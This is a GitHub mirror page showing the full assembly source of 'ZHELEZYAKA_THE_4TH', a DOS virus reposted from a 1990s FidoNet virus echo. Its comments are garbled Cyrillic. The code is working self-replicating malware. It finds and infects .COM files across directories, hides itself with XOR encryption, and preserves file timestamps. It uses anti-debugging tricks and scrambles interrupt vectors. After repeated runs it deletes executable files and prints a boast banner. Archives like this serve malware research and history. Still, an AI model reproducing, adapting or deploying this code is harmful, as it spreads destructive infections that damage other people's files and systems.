13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-30 19:02:32 +00:00
vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.vir01.asm

370 lines
8.3 KiB
NASM
Raw Normal View History

2021-01-13 00:04:54 +00:00
;<3B> PVT.VIRII (2:465/65.4) <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> PVT.VIRII <20>
; Msg : 1 of 64
; From : MeteO 2:5030/136 Tue 09 Nov 93 08:59
; To : - *.* - Fri 11 Nov 94 08:10
; Subj : ViRii
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;.RealName: Max Ivanov
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;* Kicked-up by MeteO (2:5030/136)
;* Area : ABC.PVT.HACK (ABC: <20><><EFBFBD><EFBFBD>...)
;* From : Alexei Galich, 123:1000/6.2 (31 Oct 94 13:44)
;* To : All
;* Subj : ViRii
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>y<EFBFBD> <20><><EFBFBD>, All
;
;<3B><><EFBFBD> <20><>py<70> <20><><EFBFBD><EFBFBD>ᠫ, <20><>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD>, ᠬ <20><>ᠫ !
;H<><48><EFBFBD><EFBFBD><EFBFBD> <20>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> 1:00-8:00
;
;PS: Hy <20><> <20><><EFBFBD><EFBFBD> <20> <20><>祬y <20><> ⠡y<E2A0A1><79><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
;
;--------8<-------------------------------------------------------
;
;
; ZHELEZYAKA_THE_4TH
IDEAL
MODEL TINY
CODESEG
ORG 100H
LOCALS
MAIN_BEGIN: JMP VIRUS_START_O
DB 04H,0,' ZHELEZYAKA_THE_4TH ',0
EXIT_ADDRESS EQU 100H
DOS EQU 21H
VIRUS_SIGNATURE EQU 04H
NUM_FIRST_BYTES EQU 4
ALREADY_INFECT EQU 3
COUNTER_ADDR EQU 510H
FALSE_BYTE_ADDR EQU 104H
COM_WILDCARD EQU (COM_WILDCARD_O-VIRUS_START_O)
EXE_WILDCARD EQU (EXE_WILDCARD_O-VIRUS_START_O)
WRITE_BUFFER EQU (WRITE_BUFFER_O-VIRUS_START_O)
ORIGIN_DIR EQU (WRITE_BUFFER+NUM_FIRST_BYTES)
NEW_DTA EQU (ORIGIN_DIR+65)
COPY_BUFFER EQU (NEW_DTA+256)
FALSE_BYTES EQU (COPY_BUFFER+WRITE_BUFFER)
ORIGIN_BEGIN EQU (ORIGIN_BEGIN_O-VIRUS_START_O)
MAIN_PART_LEN EQU (WRITE_BUFFER)
INFECTED_NUMB EQU (INFECTED_NUMB_O-VIRUS_START_O)
XOR_VALUE EQU (XOR_VALUE_O-VIRUS_START_O)
XOR_VAL0 EQU (XOR_VAL0_O-VIRUS_START_O)
XOR_VAL00 EQU (XOR_VAL00_O-VIRUS_START_O)
XOR_VAL1 EQU (XOR_VAL1_O-VIRUS_START_O)
XOR_VAL2 EQU (XOR_VAL2_O-VIRUS_START_O)
XOR_VAL3 EQU (XOR_VAL3_O-VIRUS_START_O)
XOR_VAL4 EQU (XOR_VAL4_O-VIRUS_START_O)
BEGIN_CODING EQU (BEGIN_CODING_O-VIRUS_START_O)
CONT_CODING EQU (CONT_CODING_O-VIRUS_START_O)
MESSAGE EQU (MESSAGE_O-VIRUS_START_O)
DOT EQU (DOT_O-VIRUS_START_O)
VIRUS_START_O: CALL DETECT_BEGIN_O
XOR_VAL0_O DB 0
DETECT_BEGIN_O: POP SI
SUB SI,3 ; SI - <20><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
JMP SHORT @@0
XOR_VAL00_O DB 0
@@0: LEA DI,[SI+BEGIN_CODING]
CALL CODE
BEGIN_CODING_O =$
MOV CX,NUM_FIRST_BYTES ; <20><>
LEA DI,[SI+ORIGIN_BEGIN] ; 䠩<>
MOV BX,100H ; <20>
MOVE_LOOP: MOV AH,[DI] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV [BX],AH ;
INC DI ;
INC BX ;
LOOP MOVE_LOOP ;
LEA DX,[SI+NEW_DTA] ; <20><EFBFBD><E2A0A2>
MOV AH,1AH ; ᢮<>
CALL CHECK ; DTA
MOV AH,47H ;
PUSH SI ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LEA SI,[SI+ORIGIN_DIR+1] ; ⥪<>
CWD ; <20><><EFBFBD><E2A0AB>
CALL CHECK ;
POP SI ;
FIND_FIRST: LEA DX,[SI+COM_WILDCARD] ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><E0A2AE>
XOR CX,CX ; COM 䠩<><E4A0A9>
MOV AH,4EH ;
FIND_NEXT: INT DOS ;
JNC @@L1 ;
JMP NO_FILES_FOUND ; <20><20><><EFBFBD>, <20><> ...
@@L1:
LEA DX,[SI+NEW_DTA+1EH] ; <20><><EFBFBD><EFBFBD>
MOV AX,3D02H ; <20><><EFBFBD><EFBFBD>
CALL CHECK ; 䠩<>
MOV BX,AX ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AH,3FH ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 4
LEA DX,[SI+ORIGIN_BEGIN] ; <20><><EFBFBD><EFBFBD><EFBFBD>
MOV DI,DX ; <20><>
MOV CX,NUM_FIRST_BYTES ; <20><EFBFBD>
INT DOS ; 䠩<><E4A0A9>
ADD DI,NUM_FIRST_BYTES-1
CMP [BYTE PTR DI],VIRUS_SIGNATURE
JE @@L2
JMP INFECT_FILE
@@L2:
MOV AH,3EH ; <20><><EFBFBD><EFBFBD>
CALL CHECK ; 䠩<>
CONT_SEARCHING: MOV AH,4FH ; <20><><EFBFBD><EFBFBD>
JMP FIND_NEXT ; ᫥<><E1ABA5><EFBFBD>騩 䠩<>
COM_WILDCARD_O DB '*.COM',0
EXE_WILDCARD_O DB '*.E*',0
MESSAGE_O DB 13,10,'ZHELEZYAKA_THE_4TH WITH YOU FOREVER',13,10,'$'
DOT_O DB '..',0
NO_FILES_FOUND: MOV AH,3BH ; <20><><EFBFBD><EFBFBD><E9A0A5><EFBFBD>
LEA DX,[SI+DOT] ; <20><> <20><><EFBFBD><E2A0AB>
INT DOS ; <20><><EFBFBD><EFBFBD><EFBFBD>
JC @@L4 ; <20><><EFBFBD><EFBFBD>
JMP FIND_FIRST ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@L4:
XOR AX,AX ;
MOV ES,AX ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E7A8A2><EFBFBD>
MOV DI,COUNTER_ADDR ; <20><><EFBFBD><EFBFBD>
MOV AX,[ES:DI] ;
INC AL ;
MOV [ES:DI],AX ; <20><><EFBFBD>
CMP AL,ALREADY_INFECT ; <20><EFBFBD>
JG INFECT_MORE ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?
CMP AH,ALREADY_INFECT-2 ;
JG BANNER ;
JMP EXECUTE_PROG ;
BANNER: XOR AX,AX ; <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
MOV [ES:DI],AX
LEA DX,[SI+MESSAGE] ; <20><EFBFBD>
MOV AH,9 ; ᮮ<><EFBFBD><E9A5AD>
CALL CHECK ;
MOV CX,5 ;
CONTINUE_NOISE: MOV DL,7 ; <20><><EFBFBD><EFBFBD>
MOV AH,2 ;
INT DOS ;
LOOP CONTINUE_NOISE
JMP EXECUTE_PROG
INFECT_MORE: XOR AL,AL ; <20><><EFBFBD><EFBFBD><E0A0AD> <20><><EFBFBD><E0A2AE> .E* 䠩<><E4A0A9>
INC AH
MOV [ES:DI],AX
LEA DI,[SI+ORIGIN_DIR] ;
MOV [BYTE PTR DI],'\' ; <20><><EFBFBD><EFBFBD><EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AH,3BH ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
XCHG DX,DI ; <20><><EFBFBD><E2A0AB>
INT DOS ;
LEA DX,[SI+EXE_WILDCARD]
XOR CX,CX
MOV AH,4EH
INT DOS
JC EXECUTE_PROG
LEA DX,[SI+NEW_DTA+1EH]
MOV AH,41H
INT 21H
EXECUTE_PROG: MOV DX,80H ; <20><EFBFBD><E2A0A2>
MOV AH,1AH ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INT DOS ; DTA
LEA DI,[SI+ORIGIN_DIR] ;
MOV [BYTE PTR DI],'\' ; <20><><EFBFBD><EFBFBD><EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AH,3BH ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
XCHG DX,DI ; <20><><EFBFBD><E2A0AB>
INT DOS ;
MOV AX,DS
MOV ES,AX
MOV BP,100H ;
JMP BP ;
INFECT_FILE:
XOR AL,AL ;
MOV AH,[BYTE PTR SI+XOR_VALUE] ;
@@IFZERO: INC AH ;
JZ @@IFZERO ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV [BYTE PTR SI+XOR_VALUE],AH ; <20><><EFBFBD><EFBFBD><EFBFBD>
MOV [SI+XOR_VAL0],AH ; <20><><EFBFBD>
MOV [SI+XOR_VAL00],AH ;
MOV [SI+XOR_VAL1],AH ;
MOV [SI+XOR_VAL2],AH ;
MOV [SI+XOR_VAL3],AH ;
MOV [SI+XOR_VAL4],AH ;
MOV AX,5700H ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CALL CHECK ; <20><EFBFBD>
PUSH CX ; ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD>
PUSH DX ;
XOR CX,CX ; <20><><EFBFBD><EFBFBD>
XOR DX,DX ; <20><>
MOV AX,4202H ; <20><><EFBFBD><EFBFBD><EFBFBD>
CALL CHECK ; 䠩<><E4A0A9>
SUB AX,3 ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E2A0A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV [BYTE PTR SI+WRITE_BUFFER],0E9H ; <20><><EFBFBD><EFBFBD><EFBFBD>
MOV [SI+WRITE_BUFFER+1],AX ; 4 <20><><EFBFBD><EFBFBD><EFBFBD>
MOV [BYTE PTR SI+WRITE_BUFFER+3],VIRUS_SIGNATURE
MOV CX,MAIN_PART_LEN ;
MOV DI,SI ; <20><><EFBFBD><EFBFBD><EFBFBD>
COPY_LOOP: MOV AH,[DI] ; <20><><EFBFBD><EFBFBD><EFBFBD>
MOV [DI+COPY_BUFFER],AH ; <20>
INC DI ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
LOOP COPY_LOOP ;
LEA DI,[SI+COPY_BUFFER+BEGIN_CODING] ; <20><><EFBFBD><EFBFBD><EFBFBD>
CALL CODER_DECODER ; <20><><EFBFBD>
LEA DI,[SI+COPY_BUFFER+CONT_CODING]
CALL FIRST_CODE
MOV CX,MAIN_PART_LEN ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AL,[BYTE PTR FALSE_BYTE_ADDR] ; <20><><EFBFBD><EFBFBD><EFBFBD>
ADD AL,[FALSE_BYTES] ;
XOR AH,AH ;
ADD CX,AX ; <20><>
LEA DX,[SI+COPY_BUFFER] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AH,40H ; <20><><EFBFBD><EFBFBD><EFBFBD>
INT DOS ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
XOR CX,CX ; <20><><EFBFBD><EFBFBD>
XOR DX,DX ; <20><>
MOV AX,4200H ; <20><><EFBFBD>
CALL CHECK ; 䠩<><E4A0A9>
MOV CX,NUM_FIRST_BYTES ; <20><><EFBFBD><EFBFBD>
LEA DX,[SI+WRITE_BUFFER] ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MOV AH,40H ; <20><><EFBFBD><EFBFBD><EFBFBD>
INT DOS ; 䠩<><E4A0A9>
POP DX ; <20><><EFBFBD><EFBFBD><EFBFBD><E2A0AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
POP CX ; <20><EFBFBD>
MOV AX,5701H ; ᮧ<><E1AEA7><EFBFBD><EFBFBD><EFBFBD>
CALL CHECK ;
MOV AH,3EH ; <20><><EFBFBD><EFBFBD><EFBFBD><EBA2A0>
INT DOS ; 䠩<>
CALL CODE_INT
JMP EXECUTE_PROG
ORIGIN_BEGIN_O DB 0CDH,20H,90H,90H
CONT_CODING_O =$
CODER_DECODER: MOV CX,CODER_DECODER-BEGIN_CODING_O-1
MOV AH,[SI+XOR_VALUE]
XOR AL,AL
OUT 21H,AL
CODING_LOOP: IN AL,21H
ADD AL,AH
XOR [DI],AL ; <20><><EFBFBD>
INC DI ; <20><><EFBFBD><EFBFBD>஢騪
ADD AL,[FALSE_BYTE_ADDR]
OUT 21H,AL ;
LOOP CODING_LOOP ;
XOR AL,AL
OUT 21H,AL
RET
CHECK: PUSH AX ; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E0AEA2> <20><><EFBFBD><EFBFBD><EFBFBD><EBA2A0><EFBFBD>
PUSHF
MOV AL,0FEH
OUT 21H,AL
MOV AH,4FH
POPF
POP AX
INT 21H
PUSH AX
PUSHF
IN AL,21H
CMP AL,0FEH
@@HALT: JNE @@HALT
XOR AL,AL
OUT 21H,AL
POPF
POP AX
RET
CODE_INT: XOR AX,AX ; <20><><EFBFBD><EFBFBD><EFBFBD><E0AEA2><EFBFBD><EFBFBD> INT 0 - 3
MOV ES,AX
MOV CX,12
COD_INT_CON: MOV BX,CX
XOR [BYTE PTR ES:BX],10101010B
LOOP COD_INT_CON
PUSH CS
POP ES
RET
; ------------
FIRST_CODE: MOV CX,FIRST_CODE-CODER_DECODER ; <20><EFBFBD><E0A5A4><EFBFBD><EFBFBD><EFBFBD><E2A5AB><EFBFBD><EFBFBD>
MOV AH,[SI+XOR_VALUE] ; <20><><EFBFBD><EFBFBD>஢騪
JMP SHORT FIRST_COD_LOOP
XOR_VAL1_O DB 0
FIRST_COD_LOOP: XOR [DI],AH
INC DI
JMP SHORT @@2
XOR_VAL2_O DB 0
@@2: LOOP FIRST_COD_LOOP
RET
XOR_VALUE_O DB 0
CODE: PUSH DI
LEA DI,[SI+CONT_CODING]
JMP @@3
XOR_VAL3_O DB 0
@@3: CALL FIRST_CODE
MOV AH,40H
JMP @@4
XOR_VAL4_O DB 0
@@4: CALL CHECK ; <20><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
CALL CODE_INT
POP DI
JMP SHORT CODER_DECODER
WRITE_BUFFER_O =$
END MAIN_BEGIN
;---------------8<-------------------------------------------------
;
;- <20><><EFBFBD> <20><><EFBFBD> <20><20><> <20>p<EFBFBD><70><EFBFBD><EFBFBD>쭮, <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><> <20>뫮 ⠪ <20><><EFBFBD>쭮.
;
; -= iR0NMAN =-
;
;-+- GoldED 2.50.B1016+
; + Origin: <20><>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48> !!! (123:1000/6.2)
;=============================================================================
;
;Yoo-hooo-oo, -!
;
;
; <20> The Me<4D>eO
;
;/p Check for code segment overrides in protected mode
;
;--- Aidstest Null: /Kill
; * Origin: <20>PVT.ViRII<49>main<69>board<72> / Virus Research labs. (2:5030/136)